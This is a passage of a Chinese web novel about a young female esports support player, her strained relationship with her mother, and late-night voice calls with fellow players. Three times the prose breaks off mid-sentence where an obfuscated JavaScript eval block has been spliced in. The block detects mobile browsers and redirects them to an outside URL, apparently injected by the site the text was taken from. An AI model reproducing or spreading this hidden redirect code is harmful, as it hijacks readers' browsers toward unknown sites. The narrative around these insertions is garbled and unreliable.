回忆里的画面总是狭窄的出租屋天花板上挂着的那颗黄色灯泡，会因为夜晚的风摇摇晃晃。小小的自己半梦半醒，被带着肥皂香气的女人紧紧抱在怀里，眼泪就会在那个时候一滴一滴落在脸颊上。 所以算了，妈妈遇到爸爸那种人已经够倒霉了，她知道她也并不是真心恨自己，反正钱可以解决生活中绝大多数的不愉快，现在的她正好拥有这种钞能力。 当然，除了孩子渴望家庭温暖的这种本能之外，还有想要光鲜亮丽的出现在从前的圈子里，体会一下打脸爽文里蜕变进化后狠狠亮瞎所有人狗眼的经典桥段。 老家城市的机场非常小，还不如S市机场的一个候机厅大。从飞机上下来，穿过一个大厅就到了外头。没有标识也没有排队通道，只有一拥而上的黑司机。她憋了半天，还是没能鼓起勇气用方言侃价，好在现在社会发达，用滴滴加了点钱就顺利等到了愿意接单的司机。 经历了将近四十分钟的车程，终于回到了记忆中的地方。 站在老旧的居民楼下，汤瑶突然想起来了——这是个没有电梯的老小区，家还在六楼。 ……等她龇牙咧嘴的抬着几十斤的行李箱来到家门口，已经累得敲门的力气都没有了。喘了半天气，才有力气抬胳膊。里面窸窸窣窣了一会儿，门被打开了。她下意识的回避了视线，低头拖着行李箱走进去：“回头重新找个有电梯的房子吧。” “呀~！”女人的视线依然黏在她的身后，上扬又惊喜的围着她左看右看，“这是谁家的漂亮小妞儿？这还是我的女儿吗？”她擦擦手，接过她的行李，“这么重，怎么不跟我说具体时间 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汤瑶啧了一声，忍了忍没吵，只是推了推她：“现在买都买了，就别管那么多，而我现在有钱。” 东西送出去又有点害怕，她真的很害怕自己疯疯癫癫的妈妈会温顺的出来说些什么肉麻的话。为了想象中恐怖的情节不发生，她决定主动出击，简单把需要的行李拿出来了之后就去外面找她：“还有啊，你想不想搬家？起码……换个有电梯的地方，出门什么的都方便。” 卧室被拉开，穿着崭新羽绒服的女人涨红着脸，捏了两下衣角，像是在展示，但是快就脱掉：“租约都是两年起的呀，说搬就搬不好和房东说的嘞。”顿了一下，语速飞快的又补了一句，“穿着挺好的，你觉得怎么样？” 很小声。 汤瑶的妈妈有个很好听的名字，叫汤文敏，有一双大眼睛，据说是当年小镇里出了名的美女。不过用现在流行的话说，她是顶级颜控外加恋爱脑，生下女儿的时候甚至还没到法定结婚年龄。没有言情剧里相爱抵万难的动人情节，有的只是贫贱夫妻百事哀，争吵和猜忌无止无休，即便早已离开带给她伤害的那个人，创伤依然让她永远多疑暴躁，敏感易怒。 看着陌生又局促的母亲，汤瑶忽然想起自家俱乐部隔壁手游的那个领队姐姐，人家也才三十出头，永远都光鲜亮丽，走路带风，见谁都是笑着的，还会专门给自己买小蛋糕吃。明明是同龄人，但妈妈和她完全不在一个世界。 ……所以是因为自己吗？因为自己的存在才让妈妈的人生变得如此失败吗？ 她不确定，但光是这一点点怀疑，都会让她在想到这种可能性的时候变得很软弱。 汤瑶说不出什么温暖的话，但点点头附和了下，虽然她压根没看几眼。她想了想，拿出手机点了几下，把余额亮了出来：“没关系，现在我很有钱。我们不会再像从前那样了。” 27. 第 27 章 果然钱可以买到一切，当不再需要为柴米油盐精打细，生活其实就不剩什么烦恼了。 汤瑶经常在短视频平台刷到博主们记录自己其乐融融的家庭生活，那些漂亮又幸福的女孩儿们在爱里长大，轻而易举的和父母挽着手倾吐着爱意，在文案里感慨自己就是个天生好命的小女孩。就算知道这些内容多多少少有些演绎的成分，也不妨碍每次看见的时候都羡慕不已。 虽然出身和家境不能选择，但关系可以通过沟通和相处慢慢改善呀。 汤瑶和妈妈坐在新家客厅的沙发里，两个人穿着同款睡衣，电视上放着《甄嬛传》当背景音乐。她盘着腿，手里拿着一听可乐，不厌其烦的又一次和家长解释什么是电竞比赛。虽然从对方困惑表情中明白这次介绍又失败了，不过只要没有泼冷水就很好了。 专业的说不明白，伤心的事情不愿意张口，想来想去，她翻开了手机：“……那都不重要，不说那些。我给你看看我的同事们吧！有好多帅哥，你说不定还刷到过。”说着就搜了个LPL颜控向的视频，把屏幕举到她面前解说，“你看这个，大部分都是中国人，还有韩国人。” “还有外国人啊？” “是啊，一般都是韩国的，但是也有过越南的。不过那个越南外援长得不好看……咦，这些都是好多年前的选手了，退役了。啊，这个是这两年的新选手，也很厉害哦，他叫MIFA，我还有他微信好友！” 结果妈妈眯着眼睛，反复打量着屏幕里的长发男半天，啧了一声：“妖里妖气，不男不女……而且太瘦了，怎么跟螳螂一样喔。哎呀，这个衣服穿得像麻袋套在身上一样，不行不行。” “噗。哈哈哈哈我总算知道我这毒舌是遗传谁的了。那这个呢，这个是世界冠军，粉丝有好几百万呢。” 妈妈的眉头再次拧起，酝酿了半天，最后总结：“挫。”她摇头，“脑袋大脖子粗，个子看着也不是很高。你这些同事……哟，这个小伙子还不错嘛。”她指着Deserve点点头，“这个好，看着很干净清爽。” 汤瑶有点高兴，她觉得没事和家长聊聊天真得很有意思，短短几句话，就发现了她们母女之前好多共同点。她心不在焉的盯著视频，说起八卦，“这个男生人气确实很高，我也有他联系方式，不过我们没有说过什么话。他人倒是挺好的，不过根据我的观察，我觉得他可能有喜欢的女孩子了。” “喔。这种你就不要惦记了，强扭的瓜不甜，不要为这种心思不在自己身上的人费时间。” 原来妈妈也会说这种很有道理的话。 听家长的教导原来是这种奇妙的感觉，汤瑶处于一种莫名其妙的微醺状态，点点头，打开了话匣子：“没有没有，我就是欣赏帅哥而已。我现在没什么追求爱情的想法，我就想搞钱，挣很多很多钱，让咱俩过上好日子。等明年，我接你来S市玩。” “……到时候再看吧。”妈妈反而不太适应女儿的热情，为了缓解尴尬，随便滑动了一下视频的进度条，自顾自评价起来，“这个也还行。呀，这个是怎么选进来的？哦哟哦哟，这个丑死了，你这个是什么榜单啦？……哦哦，这个还不错嘛，这个小伙子也很精神，人很板正嘛，而且看着个子比较高。刚才那个看着有点矮嘞。” 汤瑶连忙为Deserve发声：“他们俩差不多的，我亲眼见过！人家那是脸长得太嫩所以不显高而已！这个、这个你就不觉得太…太精神了嘛？他现在留头发了还好，之前板寸我觉得他特别……呃……凶神恶呜……咳咳，回下消息。” 话说到一半，突然接连弹出微信信息。 【Foppish】：[动画表情] 【Foppish】：晚点来整两把吗医疗兵 汤瑶尴尬的咬了下舌头，有种说人坏话被抓包的心虚感。 【姜汁汽水】：。 【姜汁汽水】：不 【Foppish】：来啊你不也放假了吗 【Foppish】：我在荒郊野岭无聊死了[可怜][可怜] 【姜汁汽水】：我回老家了，没电脑，没网。 【Foppish】：[可怜][可怜]要不然和平精英也行 【Foppish】：就是我现在ping很高 【姜汁汽水】：下次一定 汤瑶觉得就是因为有这种人的存在，电子游戏才会被长辈们当做毒品。她没回，切出了微信，顺便重新设置了一下消息弹出但不显示内容。再抬起头的时候，妈妈已经沉浸在华妃娘娘的风华万千中了。稍微有点失望，她还以为妈妈对自己能有些好奇心呢。 她试图再找点什么话题，可是想想妈妈兴致缺缺的反馈，又有点泄气。算了，游戏什么的她听了也不明白，聊不来也很正常。可是除了自己的工作，实在也没什么和她说的。算了……看电视吧。 过多了鸡飞狗跳的日子，相安无事也是一种幸福。 融洽的家庭氛围让汤瑶的假期生活变得无比美好，不玩游戏也不会觉得无聊。早晨排队的牛肉面店、路边坏了几个笔画的广告牌、躲在草丛里的小猫……她把点点滴滴都记录在了相册里，又精挑细选了九张，调了滤镜之后发到了朋友圈。这还是她第一次发没有自拍的图片记录。 只是切出去看两眼电视剧的功夫，回来的时候就收到了不少点赞和评论。 Foppish：牛肉面外送吗，隔了条小河 白（回复Foppish）：？ Foppish：[大笑][大笑] 白（回复Foppish）：SB 汤瑶被这没头没脑的两句话吓了一跳，好死不死自己老家还真是靠着长江的城市。这条朋友圈也没有发定位，他是怎么知道的？这俩人……乱七八糟说什么呢？ 她点开小窗，看到两人的消息还停留在好几天的和平精英邀约。酝酿了半天，她先发了个问号过去。 【Foppish】：？ 【Foppish】：玩吗？ 不是，他怎么脑子里就只有打游戏啊！ 【姜汁汽水】：你怎么知道我在哪？ 【Foppish】：[坏笑][坏笑]上线玩两把就告诉你 ……真是服了。 【姜汁汽水】：真没电脑 对方已发来和平精英房间邀请。 行行行！汤瑶在好奇心的驱使下还是下了游戏，她之前玩过几次，基础操作还算知道，所以一进房间就切入了正题：“歪？你快说啊，你怎么知道的？” “什么啊。”Foppish那边听起来很空，“我不知道你在哪啊。” “你说了我来玩你就告诉我的！”汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326033|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶急了，“你到底怎么知道的，真白告诉你的？” “不是，你是不是误会什么啦。”Foppish好像是反应过来了，“我说的河——不是你想的那个河！” 大概停顿了七八秒，她收到一个定位信息。 她切出去看了眼，然后深深无语了。 那边还在说：“我在法（Fà）国啊，我是说的小河是地中海。” 本来有点生气，结果又被他做作的口音逗笑了。 “好叭。你在法（Fà）国干嘛？旅游还老想打游戏？” Foppish说起这个就烦：“旅游不好玩啊，没有打游戏好玩。也不是我想来的，我嫂子非要带我，她看不惯我宅家里。” “……你怎么那么多嫂子。” “咳咳，真嫂子真嫂子！亲嫂子，我亲哥的合法老婆！” “呵，你也知道有假嫂子？” “哎呀哎呀，叫着好玩嘛。”Foppish打了个哈哈，“你还没装电脑吗？手游没什么意思啊，实在不行你去网吧呢。我出来旅游都带游戏本和外设的，你要是玩我今天就不出去了。” “……你很缺人跟你玩吗？应该不缺吧。” “不缺啊，但是跟男的玩还真不如出去滑雪。带谁不是带，我肯定要找妹妹带。” “那你也不见得缺妹妹吧？” “啧。这个怎么说呢，想玩儿肯定喊得到人。但……啧，网上能喊来的都不是为了打游戏，现实里的又不喜欢打游戏，就，没意思。我就觉得你刚刚好。怎么了，你也觉得我烦？” “……是有点烦。” “草，你讲话也太伤人了吧！一会你死了我不会扶你的！” 汤瑶闭了麦偷笑。说真的，抛开Foppish职业选手的身份不提，他真是个非常有意思的人。网上有关他的黑料总是三句话离不开他的坏脾气，事实上私下里的他非常好相处。要知道很多不如他的选手都有很重的偶像包袱，喜欢过众星拱月的生活，别说当面这样“出言不逊”了，喊打游戏不来、发消息不回就已经犯了拉黑之罪，哪里像他这样被说了还嘻嘻哈哈。 笑够了才开口：“死了就死了呗，死了我就去躺着了。” “别啊别啊，求你了你去网吧实在不行开个电竞酒店，我都一个礼拜没打端游了感觉身上有蚂蚁在爬。” “唉，我、你……可是，我就不喜欢玩PUBG，我觉得这种游戏很无聊啊。”汤瑶说，“老让我拿着药和饮料跟在你后面当医疗兵，我都不知道人在哪就死了，一点都不好玩。” “哎呀这都是小事，你想玩什么？H1Z1？CSGO？塔科夫？森林也行啊。” “……就不能不要打枪吗？我宁愿玩紧张又刺激的英雄联盟。” “好了我知道了，那就永劫无间吧！你之前不还说挺好玩的吗？” “喂！你是英雄联盟职业选手啊！喂？让你让英雄联盟是什么很痛苦的事情吗！” “哥再给你叫个声音好听的高手，我俩一起带你。” “有多好听？” “绝对好听！粉丝认证！”Foppish说，“他这几天都泡在天人城，我都不用喊他肯定在。” 汤瑶已经猜出来是某个选手了，所以也没多问：“行吧行吧，但是不能玩太久，晚上我要回家的。” 28. 第 28 章 ‘偶尔凶’邀请您加入队伍。 ‘愤怒的锅盔’已加入队伍。 还没来得及清游戏里的红点，Foppish的爆笑从麦里传过来：“哈哈哈哈哈哈哈哈卧槽我真受不了了，看你这ID笑一次。锅盔姐你是怎么想的？” “当时正好在吃锅盔啊。”汤瑶理直气壮，“而且我特地备注买红糖的，他们还给我送错了，梅菜的不好吃。” “哈哈哈行吧，等下，他还没出来。” “谁啊？选手吗？你同事？不会又是真白吧？” “哟哟，喊嫂子要不高兴，结果自己又一口一个真白。你是不是很想跟张新宇玩？” “滚你的！”汤瑶连忙呸了两句，本来想再骂两句，考虑到这俩人基地里住一间房，忍住了，“再乱说我下了。” “哎呀逗你玩儿，别生气。”那边点鼠标清脆的点击声响了几下，“你看邮件。” 汤瑶看到右上角多了个红点，点进去就发现收到了当下游戏商城正热卖的外观。她噎了噎，立刻换了副嘴脸：“好嘞老板，我一会儿狗链哦不不，我的线只牵着你！” “唉不用你玩胡桃，我让他来。这游戏奶妈没受击，新手很难玩的，你选个别的有游戏体验。” “那你送个胡桃皮肤？” “好看啊，以后有机会再用呗。” 两个人有一搭没一搭说这话，过了一会儿，第三个人终于结束了游戏。 ‘不想沟通’已加入队伍。 “干嘛？”男生声音懒懒的，带着一点有气无力的鼻音，“我随便玩玩的，卡得要死。” “没事，我也卡。我在国外啊，开了加速器200ping，全是享受。” ‘不想沟通’笑了下：“啊，我也是啊，我在我姐家。但我比你好点我100多，你什么垃圾加速器，没开会员？” “不是啊，我连的无线，我是笔记本啊。”Foppish直接点了开始排队，“我开了啊，随便玩玩呗。你不是都不打了吗？现在不是能爽玩。不过你们俱乐部也肯放人吗？枣能让你走？” “嗐，不让啊，他们说可以给我放假调整调整，不要随随便便就退。但是……啧，有点不想打了。但是我妈我姐知道我又不想打了，就说我干什么什么不行，好不容易没说了，结果前几天拿了去年的托福真题给我做，然后我只考了86分，就又开始了。我姐说让我别回国，因为国内治安太好了，在她这边当homeless可以零元购，起码不至于饿死，最差最差也有洋快餐吃。” “啊？什么洋快餐？” “自由美利坚能有什么洋快餐！吃枪子啊她说！” “哈哈哈哈哈哈你好惨，那你回来啊，你去受那个气干嘛。 ” “没办法啊，我姐女朋友生病了要做个手术，然后她工作忙不开，我妈来看看她俩，我是过来当保姆的啊，我□□天天给她洗衣服拖地然后送饭洗碗什么的。” “你怎么在家里地位还不如狗。”Foppish看热闹不嫌弃事大，笑了半天，标了地图，突然换了个温柔的语气，“过来，拿金刀给你玩。” ‘不想沟通’手快嘴快，一个钩锁赶在了前面：“来了来了！” Foppish又跑回来，举着刀凭空挥了两下：“徐知睿你他妈赶紧吐出来，又不是给你的！” 那边沉默了几秒，发出一声绝望的卧槽：“怎么是三排？” “……不是哥们，你熬了多久？” “也就十一二个小时吧？”徐知睿很爽快的把武器丢了，转身就走，“愤怒的锅盔，谁啊？女孩子？你还谈上恋爱了？” “不是。” “不是！” 两个人异口同声。 “呃——”听得出徐知睿哽了一会儿，很快接受了，“Fine。my bad。” “哎呀，这个妹妹你应该也知道吧。LDL的那个妹妹，打辅助的，她韩服现在分还挺高的，好像六七百吧，你应该也能排到。” “喔喔。”他应该是想起来了，“但是应该排不到，我前十啊，我现在还1100多分呢。” 装什么啊这大鲨比！偶尔也是排得到的好吗，千分总共才几个人啊，没我们这种几百分的凑数怎么开游戏？！汤瑶在内心悄悄OS。 结果Foppish再次说出了她心中所想：“你在装你的那个呢，傻B。” 所以她又不生气了，不知道为什么，Foppish说话她就老想笑。 汤瑶搬到了市区，也就没有能浑水摸鱼的黑网吧，所以是专门开了个电竞酒店玩。没有烟味也没有窸窸窣窣的干扰，虽然房间的装潢很一般，椅子也没那么舒服，玩起来倒是很沉浸。一开始三排，后来Deserve实在熬得眼睛都睁不开就走了，两个人就开始双排，一打就是七八个小时，等她反应过来的时候已经十点多快十一点了。 汤瑶这才慌慌张张收拾东西：“完蛋了完蛋了，你怎么不提醒我！我回去要被我妈骂死了！” 这样的事情并不是没有发生过，没能成为选手前她就常常逃课，不分时间地点的和男同学钻黑网吧。一开始当然挨骂又挨打，次数多了妈妈就麻木了，否则也不会去两个月青训也不闻不问。但现在不同了，她已经和妈妈重归于好了，说好了要回去吃晚饭结果半夜才回去，她肯定会又伤心又生气呀！ 她草草扣下耳机，关机退房，一路小跑离开了公寓楼。 小城市也有小城市的好，十分钟后汤瑶就顺利回家了。她蹑手蹑脚的开门，发现家里一片漆黑。没有想象中坐在沙发上双手叉胸的冷漠女人，就连餐桌上的碗还是中午走时的样子。她做贼一样摸着黑跑到妈妈的卧室前，贴着听了半天，结果什么也听不见。 可能睡了吧…… 好吧，她好像已经习惯自己的女儿很叛逆了。 汤瑶是个很擅长自我开解，毕竟仔细想想，如果担心的代价就是大吵一架好像也得不偿失。她松了口气，偷偷摸摸的尽快冲了个澡，换了睡衣往床上一趟，打开发现被Foppish的信息刷屏了。简单看了一下，发现他是真的担心自己被揍，乱七八糟发了一大堆，甚至点开的时候还在发。 她打字打不明白，干脆打了个语音过去。 她躲在被子里，声音放得轻轻的：“喂喂喂，你别发啦，我都回家了。” Foppish松了口气： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326034|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喔，没事就好。你说得那么恐怖，我还以为你妈妈真会动手，吓死我了。” 汤瑶不以为然：“以前会，现在她脾气好多了。” 那边似乎“啊”了声，但因为信号不稳定，所以听起来断断续续的。等通话稳定，语气听起来就很正常了：“……嗯嗯，好吧你没事就好。你早点休息吧。” 她也不啰嗦：“OKOK，拜拜。” 汤瑶一点儿都不困，躺在床上精神抖擞的刷视频。还别说，玩多了英雄联盟，偶尔玩一下新游戏，即便打不过也很乐在其中。她本着分享的心情，叽里呱啦的向元宝复盘了游戏里各种有意思的事情，激情安利了一波，邀请她下次有空一起来玩。 结果元宝从五排中抽身出来阅读她的小作文，提出了灵魂问题：Foppish是不是对你有意思？ 汤瑶本来还龇着大牙乐，一句话被吓得呛住了。 她打了一大串问号过去，想也不想就否定了：绝对不可能！ 元宝却振振有词：你不能因为他是选手就忘记他的本质。他是男的，又是AD，这样的套路咱们不都见多了吗？就像他说的，他难道真的缺人玩吗？那他为什么专门找你玩，肯定是觉得你不一样呀。 别人就算了，可是Foppish…… 汤瑶挠挠头，试图解释：你不知道，他是真的网瘾很大。他就算不跟我玩，也是天天打游戏呀。 元宝：呵呵，当局者迷。 汤瑶：没关系，回头跟他多打几次厄猫就下头了。 元宝：哈哈哈哈你是下头了，AD上头的时候最喜欢带猫了。 汤瑶：真不至于。下次我试一下，就知道他是网瘾大还是别的了。 元宝：怎么？ 汤瑶：就是……欸，等一下，我好像听到房间外有动静。糟了，我家不是进贼了吧！ 汤瑶耳朵很灵，她百分百确定刚刚的异响是开关门。她垫着脚走到门边，再次贴着听，果然听到脚步声一步步靠近。她吓得头皮发麻，手忙脚乱就要反锁房间再报警。结果脚步声停在了门口，被轻轻敲了两下：“瑶瑶，你睡了吗？” …… 是妈妈的声音。 等下，难道说……汤瑶看了下手机，现在已经是凌晨2:17分了。 一股无名火直蹿脑门，她猛地拉开门，拔高声音道：“你干什么去了！！这个点才回家！！消息也没有发一句，你还把不把我当女儿？” 女人显然不了解年轻人的作息，提着一盒打包好的炒面手足无措。楞了一会儿，她才想起来身份：“我去哪里要你管吗？我是你妈！给你带了炒面，爱吃不吃！”说着把手里的打包盒往茶几上一扔，转身就走。 汤瑶跟着过去：“谁管你了，你总要跟我说一声吧！你去干嘛这个点才回家？喂，你关门干嘛！你心虚啊！你干什么去了到底！” 拍了半天门，卧室里才传来一句不耐烦的解释：“我跟同事打麻将去了！！睡觉睡觉！” 汤瑶重重砸了一下门：“你放屁！骗子！”里面迟迟没有回话，她的眼泪不受控制的往下滚。她抹了一把脸，强笑道，“算了，随便你。当你这种人的女儿，算我倒霉。” 29. 第 29 章 汤瑶一直都知道，妈妈一直很厌恶自己是妈妈，她总是对曾经失败的感情耿耿于怀，致力于寻找一段更完美更真挚的爱情来治疗过去的创伤，更小的时候，妈妈甚至不许她叫她妈妈，在她和各种不同的追求者们见面时，自己要尽量消减存在感，不得已的时候只能叫她“姐姐”。 可即便如此，那些说着蜜语甜言的男人们还是突然出现又很快就消失，她的一次又一次尝试都以失败告终，但她乐此不疲，因为只有在和那些人相处的时候，她才可以当小孩而不是妈妈。每一次不同的相遇，对她来说都是重生的契机，她总期盼着有一天能有一个人带她逃离身为“母亲”的枷锁，也许不一定要男人，但绝对不会是女儿。 其实没人规定母亲就只能是母亲，可如果孩子不当孩子，又能当什么呢？ 汤瑶再次因为意识到自己的存在被当做错误而崩溃，但伤心到极点，突然陷入一种诡异的平和。 她收拾好心情，简单安抚了一下担心的元宝，然后给Foppish打了个语音。响了有一会儿才接，男生声音听起来有点含糊：“怎么了？我在吃东西啊。” “我没事。”她顿了一下，“你有空吗？我睡不着。” “……啊？那怎么办？” “所以问你方便吗，想跟你连一会儿，等我睡着了就可以挂了。” “呃，那我应该干什么？” “你什么都不用干啊，只要不挂电话就行了。我就是……有点无聊，想听点声音。” “好吧。”Foppish听起来有点茫然，大概沉默了几秒，他又反悔了，“不行不行，好奇怪啊，这样跟打电话我就不会吃东西了。要不然等……呃，歪？歪……怎么了就挂了。” 他试图回拨，但已经显示对方忙线中。 汤瑶已经完全确信Foppish是纯瘾大了，还好她也没有太自作多情。挂掉之后她立刻换了个人打，结果显示对方正在通话，于是发了两个问号过去。这次的人回的很快，发了个句号，补充到在打单子，等等。 十几秒之后，Shark回拨了过来：“房间语音卡了，刚刚在跟老板打电话呢。” 汤瑶将信将疑：“女老板吗？” “管他呢。”Shark嘻嘻一笑，“你想跟我打电话的话老板也得往后稍稍，反正不沟通也随便赢。” 也是，花言巧语谁都爱听。 汤瑶吸吸鼻子，淡淡“哦”了一声：“我睡不着。” Shark那边传来清脆的键盘声：“那我陪你会儿呗。你怎么啦，跟妈妈吵架了？” 平时同住一个屋檐下，Shark对汤瑶的了解当然不限于是并肩作战的队友。私下里相处多了，原生家庭自然就会成为话题，汤瑶倒没有透露太多，只是偶尔抱怨过几次母女关系，但对于经验丰富的Shark来说，这点信息已经足够在对方需要的时候给出应该的关心了。 “也就那么回事。”她依然不愿意多说。 Shark没有回，专注操作了一番，才哈哈开口：“卧槽，你没看到好可惜，我刚刚中路残血反杀两个。”他用昂扬的语调哄着她，“睡不着要起来玩游戏吗？这把打完我不接单子了，就陪你好不好？” 她还是很down：“不想玩。” “那给你开个直播看？”他说，“我用小号开个仅你可见，不然会有粉丝来。” 闲着也是闲着，她揉揉眼睛，重新解锁了手机：“好呗。” Shark非常熟练，游戏里上线的功夫就开好了直播间把链接发了过来。汤瑶点了进去，把他的直播挂起，开始用酸痛的眼睛继续刷手机。 【Foppish】：[对方忙线中] 【Foppish】：[小狗问号] 【Foppish】：0.0 你生气了吗 【姜汁汽水】：。。 【姜汁汽水】：没 【Foppish】：好吧，对不起。 直播间里的卡莎走位飘逸，在团战里游龙，一飞四激情三杀，最后丝血逃生。赏心悦目的操作对眼睛非常友好，汤瑶点进去送了几个小心心，发了几个666的弹幕，又在语音里问：“主播主播，我以前也是韩服千分，专精豹女艾克，现在手受伤了只能玩猫，咱们什么时候强强联合？” “哎呀千分野王遍地都是，王者可是猫猫万中无一，让我当猫爬架那是荣幸，包一起的呀。” “嘿嘿。”汤瑶歪着头，换个舒服姿势躺着，“其实我不怎么喜欢玩猫，能干的事情有点少，发挥不出来很难受。你不觉得我硬辅和法辅比软辅厉害多吗？” “觉得呀，你是我见过钩子最准的辅助。”Shark说，“其实LPL的很多辅助都不如你。” 【Foppish】：你是不是被家长骂了 【姜汁汽水】：重要吗？你要在Fà国帮我打110吗？ 【Foppish】：那又没用 【姜汁汽水】：知道没用你还问？ 她哼哼两声：“就只是钩子准吗？” 【Foppish】：[小狗问号] 【Foppish】：问问也不行 【姜汁汽水】：告诉你我不开心的话，你能再汪汪两声吗？就跟那回一样。 【Foppish】：？ 【Foppish】：就不能提点我能做到的要求吗 “当然不止啦，法辅也很厉害，软辅也很厉害。说实话决赛最后那把我俩真的不粘锅，他们上中野崩太快，对线你都追着他们两个打，要不是打野一直来早打穿了。” 【姜汁汽水】：比如？ 【Foppish】：可以要点精神损失费什么的。 【姜汁汽水】：谁稀罕你那三瓜俩枣，我又不是要饭的！ 【姜汁汽水】：你懂不懂什么是情绪价值！钱不是万能的！ 汤瑶嗯嗯，心不在焉的回答：“没办法，团队游戏。我觉得亚军已经挺不错的了，现在又没有升降机，冠军也就那么回事。” 【Foppish】：6 【Foppish】：我不信 【Foppish】：觉得钱没有情绪价值可能是给得还不够多 【姜汁汽水】：sb 【姜汁汽水】：那你赔我个电脑，我要没出去开电竞酒店不就什么事也没有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326035|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【Foppish】：发代付 切，还挺拽。真发个链接过去肯定就装死了。 【姜汁汽水】：爱叫不叫！ “歪~？左航。”她说，“考你一个问题，你知道小狗怎么叫吗？” Shark啧了声，语气带着一点玩味的笑：“想干嘛？” “不干嘛啊。”汤瑶用软软的语调说，“看看你聪不聪明而已。” “行吧。”Shark酝酿了下，“汪汪汪，汪汪汪。嗯？满意了吗宝宝？” 汤瑶这才开心了：“嘿嘿，满意啦。” 【Foppish】：[白眼]爱发不发！ 汤瑶在被窝里也翻了个白眼，把聊天记录截屏发给了元宝，并评价道：鉴定为白痴直男。 【元宝】：啊这... 【元宝】：你怎么不真发个链接过去 【姜汁汽水】：他要给我把聊天记录发出去然后说我是讨口子让粉丝攻击我怎么办！我又不缺买电脑的钱！ 【元宝】：也是哦。 【元宝】：难道他真的是只是网瘾大？ 【姜汁汽水】：随便他了，我又不在乎。 【姜汁汽水】：哈哈刚刚Shark给我学小狗叫，还得是当陪玩的好，有服务意识，有情绪价值~ “nice。ez啊ez，今天还没输过。”Shark发出胜利结算，敲了几下键盘，又点开微信看了看，“怎么不说话了，困了吗宝宝？” 汤瑶把声音放低了一些，搪塞道：“嗯，有点困了。你玩你的吧，过会儿我要睡着了你可以把语音挂了。” “不挂啊。”Shark说，“我应该打通宵，明天喊你起床，嘿嘿~” 【元宝】：噫，和他发展的这么快了？ 【姜汁汽水】：没有什么发展不发展，就是突然很想有人陪。 【姜汁汽水】：谁都可以啦。 【元宝】：[抱抱][抱抱]你是不是又跟你妈吵架了 【元宝】：宝宝，实在不行搬出去住吧。 【元宝】：我不是辅修应用心理学吗？在东亚文化的影响下，原生家庭的矛盾和创伤几乎不可能靠双方配合调和改变，最有用的还是通过远离创伤源头保护自己。 【元宝】：你有没有发现她在你心中最美好的时候就你在S市的时候？这就是距离产生美。 汤瑶叹气，输入框里的字打打删删，最后视线再次被泪水模糊。 【姜汁汽水】：可是别的小孩都很幸福啊，为什么只有我这个小孩不被妈妈爱？ 【姜汁汽水】：也不是我选择要来这个世界的，我真的就那么不值得吗？ 【元宝】：[爱心][爱心] 【元宝】：没有啦，你超级棒有超级多人喜欢你诶！你现在可是LDL数据第一的辅助诶！以后你还会站上更大的舞台，被更多更多的人喜欢啦！ 【姜汁汽水】：QAQ元宝姐姐真好 【姜汁汽水】：等你毕业或者实习结束了，我请你来S市来玩！请你来看我比赛！ 【元宝】：[鼓掌][鼓掌]好，我会在前排为你打call哒。 30. 第 30 章 汤瑶听从了元宝的建议，订了个短租的电竞房，带着几件衣服就从家里搬了出去，总之眼不见心不烦。然后就过上了吃饱了睡，睡醒了玩，玩累了吃，吃好了再睡的颓废生活。她每天和Shark高强度连麦，Shark也推掉了大部分的陪玩单，除了老板提前安排的五排装车之外的时间都在陪着她。 两个人要么在元宝的妹群里借号，一边甜蜜双排一边义务帮上分，要么就是等元宝下班了一起五排。她完全摆烂，会根据不同的阵容选出相同的猫咪，没人接不出泉水，一天打下来在峡谷步数不超过五十。 Shark确实很温柔贴心，但他就像一块放了太多奶油的廉价蛋糕，直白的甜蜜很快就能填满空虚的味蕾，但这种工业糖精就是会随着累积越来越腻，等到甜味消散，回味反而令人作呕。她和他做的事情，是所有辅助和AD都能做的事情，任何一个AD都可以成为猫爬架，也曾有过许多女孩是他的专属猫咪。没什么特别，也没什意思。 ……只是聊胜于无。 就这样过了几天，汤瑶再次收到了Foppish的消息——“玩？” 当时正好在玩手机，所以秒回了个不。 对方打了个问号过来，于是她拍了一下屏幕，是魔法猫咪挂在卡莎的身上，贴心解释道：正在甜蜜双排。 【Foppish】：一起来。 【Foppish】：多大点事。 【姜汁汽水】：？ 汤瑶没答应。Shark醋劲比较大，本来就对其他AD有敌意，Foppish说话没遮没拦，拉一起玩不知道要发生什么。她虽然恋爱经历不多，养鱼经验倒非常丰富，绝不会做引火烧身的傻事。结果就是这么不巧，前脚拒绝完，游戏结束正好赶上隔壁平台的大主播提前直播，Shark就被固定金主摇去五排撞车了。 看了下时间，也就过了十几分钟，正当她犹豫要不要无缝跳车的时候，真白也发了消息过来。 【白】：玩两把？ 